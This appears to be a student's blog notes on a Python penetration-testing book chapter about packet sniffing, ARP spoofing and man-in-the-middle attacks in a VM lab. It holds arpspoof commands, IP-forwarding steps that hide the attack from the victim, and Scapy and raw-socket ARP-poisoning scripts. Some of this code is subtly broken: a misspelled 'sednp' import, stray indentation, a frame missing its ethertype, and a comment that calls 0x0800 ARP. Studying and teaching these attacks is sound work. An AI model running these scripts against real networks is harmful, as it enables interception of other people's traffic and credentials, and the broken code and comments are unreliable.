《Python渗透测试编程技术:方法与实践》:网络嗅探与欺骗

第八章 网络嗅探与欺骗

漏洞渗透程序在网络中都以数据包形式传输,如果能对网络中的数据包进行分析,就可以深入掌握渗透原理,另外,很多网络攻击方法都是利用精心构造的数据包来完成,例如常见的ARP欺骗,利用这种欺骗方式黑客可以截获受害者计算机与外部通信的全部数据,例如受害者登录使用的用户名与密码、发送的邮件等。
场景:一个黑客静静地潜伏在你身边,他手中的设备将每一个经过你的计算机的网络数据都复制了一份。互联网中大部分数据都没有采用加密的方式传输,这就意味着你在网络上的一举一动都在别人的监视下。例如,使用HTTP、FTP、Telnet所传输的明文一旦被监听,那么里面的信息也直接会泄露。有经验的黑客都可以轻而易举地通过抓包工具来捕获这些关键信息,从而突破网络,窃取网络中的秘密。网络中最著名的一种欺骗攻击被称为“中间人攻击”。在这种攻击方式中,攻击者会同时欺骗设备A和设备B,设法让设备A误认为攻击者的计算机是设备B同时让设备B误认为攻击者的计算机是设备A,从而将设备A和设备B之间的通信全部都经过攻击者的设备。
当然,网络安全人员也可以使用这些抓包工具发现黑客的不法入侵行为。

章节目标——
		网络数据的嗅探
		网络数据的欺骗

8.1、网络数据嗅探

8.1.1编写一个网络嗅探工具

Scapy中提供了专门用于捕获数据包的函数sniff()。这个函数功能十分强大,直接使用这个函数捕获整个网络的通信,会导致堆积大量数据,如果不加以过滤,将会很难从其中找到需要的数据包。因此sniff()函数还支持过滤器,这个过滤器使用了一种功能非常强大的过滤语言——“伯克利包过滤”规则(Berkeley Packet Filter ,BFT),利用BFT规则可以确定该获取和检查哪些流量,忽略哪些流量,通过比较各个层协议中数据字段值的方法对流量进行过滤。
一段短小精悍的数据嗅探工具代码如下:
【小tips:kali虚拟机要和主机有交互才能抓包,不然没包怎么捕获嘛?所以可以通过什么服务让他们先连通,有数据交互才可以,比如我用了ping命令。
代码一直没有结果,我又花了半天时间,一直没有,就算是在终端直接输入scapy然后输入sniff那个语句,都是没有结果的,一直在运行中~~
我看了书,也对比了我照着敲的代码,标点符号都不差一个,然后还是没有结果。最后我认为应该是kali和主机没有交互,所以我打开终端输入ping192.168.66.1,果然就有结果了。

from scapy.all import *
ip="192.168.66.1" #可以获取与这个主机通信的数据包
#定义回调函数Callback
def Callback(packet):
	packet.show()
#在sniff中调用回调函数Callback,设置捕获5个数据包
packets=sniff(filter="host"+ip,prn=Callback,count=5)
#将捕获结果存入catch.pcap
wrpcap("catch.pcap",packets)

#控制台结果
/root/PycharmProjects/socketProject/venv/bin/python /root/PycharmProjects/socketProject/catchPackets.py
###[ Ethernet ]### 
  dst       = 00:50:56:e1:3c:e0
  src       = 00:0c:29:af:cd:93
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 37539
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x8c32
     src       = 192.168.88.129
     dst       = 192.168.66.1
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0x85b1
        id        = 0x743
        seq       = 0x22
        unused    = ''
###[ Raw ]### 
           load      = '\\xebH\\xa8b\x00\x00\x00\x00\rk\x0b\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

###[ Ethernet ]### 
  dst       = 00:0c:29:af:cd:93
  src       = 00:50:56:e1:3c:e0
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 9011
     flags     = 
     frag      = 0
     ttl       = 128
     proto     = icmp
     chksum    = 0xfba2
     src       = 192.168.66.1
     dst       = 192.168.88.129
     \options   \
###[ ICMP ]### 
        type      = echo-reply
        code      = 0
        chksum    = 0x8db1
        id        = 0x743
        seq       = 0x22
        unused    = ''
###[ Raw ]### 
           load      = '\\xebH\\xa8b\x00\x00\x00\x00\rk\x0b\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

###[ Ethernet ]### 
  dst       = 00:50:56:e1:3c:e0
  src       = 00:0c:29:af:cd:93
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 37597
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x8bf8
     src       = 192.168.88.129
     dst       = 192.168.66.1
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0xac
        id        = 0x743
        seq       = 0x23
        unused    = ''
###[ Raw ]### 
           load      = '\\xecH\\xa8b\x00\x00\x00\x00\\x91o\x0b\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

###[ Ethernet ]### 
  dst       = 00:0c:29:af:cd:93
  src       = 00:50:56:e1:3c:e0
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 9012
     flags     = 
     frag      = 0
     ttl       = 128
     proto     = icmp
     chksum    = 0xfba1
     src       = 192.168.66.1
     dst       = 192.168.88.129
     \options   \
###[ ICMP ]### 
        type      = echo-reply
        code      = 0
        chksum    = 0x8ac
        id        = 0x743
        seq       = 0x23
        unused    = ''
###[ Raw ]### 
           load      = '\\xecH\\xa8b\x00\x00\x00\x00\\x91o\x0b\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

###[ Ethernet ]### 
  dst       = 00:50:56:e1:3c:e0
  src       = 00:0c:29:af:cd:93
  type      = IPv4
###[ IP ]### 
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 37647
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = icmp
     chksum    = 0x8bc6
     src       = 192.168.88.129
     dst       = 192.168.66.1
     \options   \
###[ ICMP ]### 
        type      = echo-request
        code      = 0
        chksum    = 0x7fa1
        id        = 0x743
        seq       = 0x24
        unused    = ''
###[ Raw ]### 
           load      = '\\xedH\\xa8b\x00\x00\x00\x00\x11y\x0b\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

Process finished with exit code 0

费了好大力气,才找到这个文件目录,肯定是之前重新安装把路径改了,导致这个project文件直接跑到root目录下了。
还有一个问题就是,我打不开这个后缀格式的文件,所以看不到里面的内容,但是这个文件都存在了,代码执行应该是没问题的啦!

在这里插入图片描述

8.1.2用wireshark查看数据包

在这里插入图片描述

查看到我们之前抓包结果如下:
当在数据包列表面板中选中一个数据包之后,在数据包信息面板中可以查看这个数据包的详细信息,在数据包原始列表中可以看到这个数据包的原始信息。
在这里插入图片描述
将数据包详细信息展开,可以发现有四层,一个数据包在网络中传输通常要使用多个协议,这些协议一层层将要传输的数据包装起来。将前面的黑色三角形展开,每一个三角形对应一层数据的详细信息。【这个在计算机网络(以及网络工程师考试学习)中有讲过,关于数据在网络中的传输流程】
在这里插入图片描述

8.2 ARP原理与缺陷

ARP主要原因是以太网中使用设备的交换机并不能识别IP地址,只能识别硬件地址,在交换机中维护着一个内容可寻址寄存器(content address memory,CAM)。

#交换机每一个端口所连接设备的硬件地址对应表,如下所示。如果交换机h3c收到一个发往特定MAC地址(比如000f-e2b2-2eeb 1)的数据包时,首先查找 CAM中有无对应表项,如果有就讲数据包发往这个端口(下面可以看到,表的第一行内容,端口为GigabitEthernet1/0/52)
#1、在楼层交换机查看各端口连接的ip电脑
h3c>dis mac-address
MAC ADDR       VLAN ID  STATE          PORT INDEX               AGING TIME(s)
000f-e2b2-2eeb 1        Learned        GigabitEthernet1/0/52    AGING
000f-e2bd-1f2a 1        Learned        GigabitEthernet1/0/52    AGING
a86b-7c24-b7ac 1        Learned        GigabitEthernet1/0/52    AGING
000f-e2b2-2eeb 17       Learned        GigabitEthernet1/0/52    AGING
0023-ae76-9f8c 17       Learned        Ethernet1/0/21           AGING
0023-aeaa-1919 17       Learned        Ethernet1/0/24           AGING
0027-197c-3e1d 17       Learned        Ethernet1/0/22           AGING
#2、通过lansee软件查看IP与对应的mac地址,找到相应的客户端电脑。
 
#3、在核心交换机中,查看所有光口连接的vlanID即,那些楼层交换机
>dis mac-address vlan 17
MAC ADDR       VLAN ID  STATE          PORT INDEX               AGING TIME(s)
0023-ae76-9f8c 17       Learned        GigabitEthernet3/0/12     AGING        
0023-aeaa-1919 17       Learned        GigabitEthernet3/0/12     AGING        
0027-197c-3e1d 19       Learned        GigabitEthernet3/0/15     AGING        
0080-91af-682e 19      Learned        GigabitEthernet3/0/15     AGING      

既然软件中使用的是IP地址,但是交换机却使用的MAC地址,那么网络传输中的某个阶段肯定发生了IP地址与MAC地址的转换,这个转换过程发生在数据包到达交换机之前,在每一台支持ARP的主机中都有一个ARP表,这个表保存了已知的IP地址与MAC地址的对应关系。下面是Windows操作系统中的ARP表,例如当想要和192.168.137.111通信时,首先查找到表中第一行,发现其对应MAC地址为2a-d6-b3-1d-8b-a6 ,所以发送数据包时要添加这个MAC地址。这样交给交换机之后,才能成功找到对应接口转发出去。
那么,当主机想要通信的IP地址192.168.137.55不在表项中怎么办呢?这时就要用到ARP,主机先发送一个ARP请求,内容大概为“注意了,我的IP是192.168.137.1,物理地址是 2A-28-19-0E-3E-D3【可以用ipconfig -all查看本机的IP和MAC地址】,IP地址为192.168.137.55的主机在嘛?我需要和你进行通信,请告诉我你的物理地址,收到请回答”。这个请求数据包会以广播形式发送给网段中的所有设备,但是只有目标主机即IP地址为192.168.137.55的主机会应答,目标主机先将IP192.168.137.1和物理地址 2A-28-19-0E-3E-D3作为新的表项添加到自己的ARP表中,然后回应:“hi,我就是那个ip地址为192.168.137.55的主机,我的物理地址是33-33-33-33-33-33”。源主机收到并解析完成后,会将这个表项也添加到自己的ARP表中。
不难发现,这个ARP协议过程中没有任何认证机制,如果一台主机收到的ARP请求数据包形如“注意了,我的IP是XXXXX,物理地址是XXXXXX,IP地址为192.168.137.55的主机在嘛?我需要和你进行通信,请告诉我你的物理地址,收到请回答”的数据包,不会对其进行真伪判断,都会将其添加到ARP表中并作出应答。因此,黑客可能会利用这个漏洞来冒充主机。


C:\Users\24579>arp -a

接口: 192.168.137.1 --- 0x2
  Internet 地址         物理地址              类型
  192.168.137.111       2a-d6-b3-1d-8b-a6     静态
  192.168.137.188       10-a5-1d-7d-20-ad     静态
  192.168.137.255       ff-ff-ff-ff-ff-ff     静态
  224.0.0.22            01-00-5e-00-00-16     静态
  224.0.0.251           01-00-5e-00-00-fb     静态
  224.0.0.252           01-00-5e-00-00-fc     静态
  239.11.20.1           01-00-5e-0b-14-01     静态
  239.255.255.250       01-00-5e-7f-ff-fa     静态

接口: 192.168.66.1 --- 0xd
  Internet 地址         物理地址              类型
  192.168.66.255        ff-ff-ff-ff-ff-ff     静态
  224.0.0.251           01-00-5e-00-00-fb     静态
  224.0.0.252           01-00-5e-00-00-fc     静态
  239.11.20.1           01-00-5e-0b-14-01     静态
  239.255.255.250       01-00-5e-7f-ff-fa     静态

接口: 192.168.88.1 --- 0x11
  Internet 地址         物理地址              类型
  192.168.88.129        00-0c-29-af-cd-93     动态
  192.168.88.255        ff-ff-ff-ff-ff-ff     静态
  224.0.0.251           01-00-5e-00-00-fb     静态
  224.0.0.252           01-00-5e-00-00-fc     静态
  239.11.20.1           01-00-5e-0b-14-01     静态
  239.255.255.250       01-00-5e-7f-ff-fa     静态

8.3 ARP欺骗原理

8.3.1、实验网络配置

kali虚拟机
IP:192.168.88.129
MAC:00:0C:29:AF:CD:93
网关:192.168.88.2
要欺骗的目标主机
IP:192.168.88.132
MAC: 00-0C-29-D8-D0-08
网关:192.168.88.2
网关信息
网关:192.168.88.2
MAC:00:50:56:e1:3c:e0

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

8.3.2、演示工具安装

通过前面的分析,现在我们只需要将目标主机的ARP表中的192.168.88.2表项修改为攻击机kali的硬件地址即可。如果是动态ARP,修改起来很简单,因为主机收到ARP请求后不会判断真伪,直接将对应IP和MAC加入ARP表项中,如果IP已经存在,只需要将对应的MAC修改即可。
kali中提供了很多能给进行网络欺骗的工具,书上以典型的arpspoof为例演示。

#arpspoof是Dsniff工具集中的组件,先安装这个工具集:
sudo apt-get install dsniff  
#启动工具集 sudo arpspoof
┌──(kaligan㉿studygan)-[~]
└─$ sudo arpspoof
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
#使用格式    arpspoof [-i 指定使用的网卡][-t 要欺骗的目标主机] [-r] 要伪装成的中间设备主机

8.3.3、演示一次网络欺骗

sudo arpspoof -i eth0 -t 192.168.88.132 192.168.88.2

现在被欺骗的目标主机会把kali攻击机192.168.88.129当做网关,可以在目标主机上看到,此时kali攻击机和网关192.168.88.2的MAC地址是一样的。
在这里插入图片描述

8.3.4、截获目标主机发往网关的数据包

arpspoof完成了对目标主机的欺骗,可以截获目标主机发往网关的数据包,但是需要借助别的工具查看,比如打开wireshark查看即可。
在目标主机打开网页,百度一下。即可在攻击机获取数据
在这里插入图片描述

可是有个问题,目标主机上无法正常上网了,因为现在攻击机捕获了数据包,没有转发出去。
在这里插入图片描述

8.3.5、将捕获的数据包转发给网关

为了让目标主机能够正常上网,需要在kali攻击机开启转发功能。

┌──(kaligan㉿studygan)-[~/Desktop]
└─$ sudo -i   
[sudo] kaligan 的密码:
┌──(root㉿studygan)-[~]
└─# echo 1 >> /proc/sys/net/ipv4/ip_forward

在这里插入图片描述
这样子的话,目标主机就可以正常上网,无法察觉自己受到了攻击。
在这里插入图片描述
可是我有个问题诶~
虽然我们可以在wireshark上面看到有那么多数据包,但是实际内容我也不会分析呀!对我来说,抓到这些包能干啥呢?我都看不到目标主机的搜索内容啥的。害,路漫漫其修远兮,fighting,之后有一天估计会学到怎么分析查看捕获的具体内容的吧?

8.4 中间人欺骗

查看ARP数据包格式,主要参数为opARP类型,值为1表示ARP请求) 、psrc (源IP)、pdst (目的IP)。实验是将攻击机的地址伪造成网关地址,所以psrc应该是网关IP,pdst是攻击机IP。

>>> ls(ARP)
hwtype     : XShortField                         = (1)
ptype      : XShortEnumField                     = (2048)
hwlen      : FieldLenField                       = (None)
plen       : FieldLenField                       = (None)
op         : ShortEnumField                      = (1)
hwsrc      : MultipleTypeField                   = (None)
psrc       : MultipleTypeField                   = (None)
hwdst      : MultipleTypeField                   = (None)
pdst       : MultipleTypeField                   = (None)

需要使用Ether层将数据包发出去,我们看下Ether层数据包格式

>>> ls(Ether)
dst        : DestMACField                        = (None)
src        : SourceMACField                      = (None)
type       : XShortEnumField                     = (36864)

8.4.1、一个简单的ARP欺骗程序

import time
from scapy.all import  sednp,ARP,Ether
victimIP="192.168.88.132"
gatewayIP="192.168.88.2"
packet = Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
while 1:
    sendp(packet)
    time.sleep(10)
packet.show()

运行上述程序,目标主机这边已经把攻击机的IP表项写入ARP表了。
在这里插入图片描述
可以看到kali攻击机这边arp表还是正常的
在这里插入图片描述

8.4.2、一次中间人欺骗

一次中间人欺骗需要同时对目标主机和网关进行欺骗,图8-22是目标主机与网关之间的过程、图8-23是实现中间人欺骗后目标主机与网关直接的通信方式。
在这里插入图片描述
在这里插入图片描述

在ARP欺骗程序上实现中间人欺骗:
在kali打开wireshark,过滤器设置为icmp。将下述程序以ARPPoison.py保存并在pycharm中执行,然后再目标主机上执行“ping 192.168.88.2”。

import time
from scapy.all import  sednp,ARP,Ether
victimIP="192.168.88.132"
gatewayIP="192.168.88.2"

#构造ARP请求数据包
attackTarget = Ether()/ARP(psrc=gatewayIP,pdst=victimIP)
attackGateway= Ether()/ARP(psrc=victimIP,pdst=gatewayIP)

#sendp有循环发送的功能,使用inter指定间隔时间,使用loop=1实现循环发送。
    sendp(attackTarget , inter=1, loop =1)
    sendp(attackGateway, inter=1, loop =1)

这时候在攻击机可以看到原本在目标主机上才能看见的数据包。如果之前没有在攻击机转发数据包的话,目标主机是ping不通网关的,因为没有返回的数据包,ping要有去有回才能通。

#在攻击机转发数据包
sudo -i
echo 1 >> /proc/sys/net/ipv4/ip_forward

下图可以看出,目标主机与网关的通信,中间接入了kali攻击机,所以在kali可以捕获并查看目标主机与网关的通信数据包。
在这里插入图片描述
在这里插入图片描述

8.4.3 用socket实现中间人欺骗

import socket
import struct
import binascii
#socket.ntohs(0x0800)协议类型8表示ARP协议,十六进展为\x08\x00
#socket没有绑定IP地址,而是绑定了网卡“eth0”,因为要发送的是以太帧,这个以太帧是由目的地的MAC决定的,而不是由IP决定的。
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind(("eth0", socket.htons(0x0800)))
#源MAC地址【kali虚拟机的MAC地址】,发送端以太网地址
srcMAC = b'\x00\x0C\x29\xAF\xCD\x93'
#目的MAC地址【目标主机MAC】,目的以太网地址
dstMAC = b'\x00\x0C\x29\xD8\xD0\x08'
#以太网帧类型,\x08\x06表示ARP类型
code = b'\x08\x06'
#硬件类型,1表示以太网,十六进制为\x00\x01
htype = b'\x00\x01'
#协议类型,\x08\x00表示ARP协议
protype = b'\x08\x00'
#硬件地址长度,\x06表示6位硬件地址
hsize = b'\x06'
#协议地址长度,\x04表示4位IP地址
psize = b'\x04'
#op=1表示请求,op=2表示回应
opcode = b'\x00\x01'
#网关地址,发送端IP地址
gatewayIP = '192.168.88.2'
#目标主机地址,目的IP地址
victimIP = '192.168.88.132'
#socket.inet_aton(ip_string),将IPv4地址字符串(如192.168.88.2)转为32位打包的网络字节。
#socket.inet_ntoa(ip_string),将32位的网络字节转为用标准点号分隔的IP地址。
packet = dstMAC+srcMAC+htype+protype+hsize+psize+opcode+srcMAC+socket.inet_aton(gatewayIP)+dstMAC+socket.inet_aton(victimIP)
while 1:
    s.send(packet)

运行程序后,可在目标主机用查看ARP表。可以看到网关的硬件地址已经变成攻击机的硬件地址,说明ARP欺骗已经成功,现在目标主机发往网关的流量都被劫持到kali攻击机上了。
【不知道为啥哈,我开始运行的时候,目标主机的arp表一直都没变。主机、kali攻击机我都重启过,但还是没有预期结果。后来,我在运行kali机运行的同时,在目标主机启动ping192.168.88.129,与kali攻击机能ping通,然后再查看ARP表,结果就变成下面那个图的样子啦~】
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_49422491/article/details/125275584
今日推荐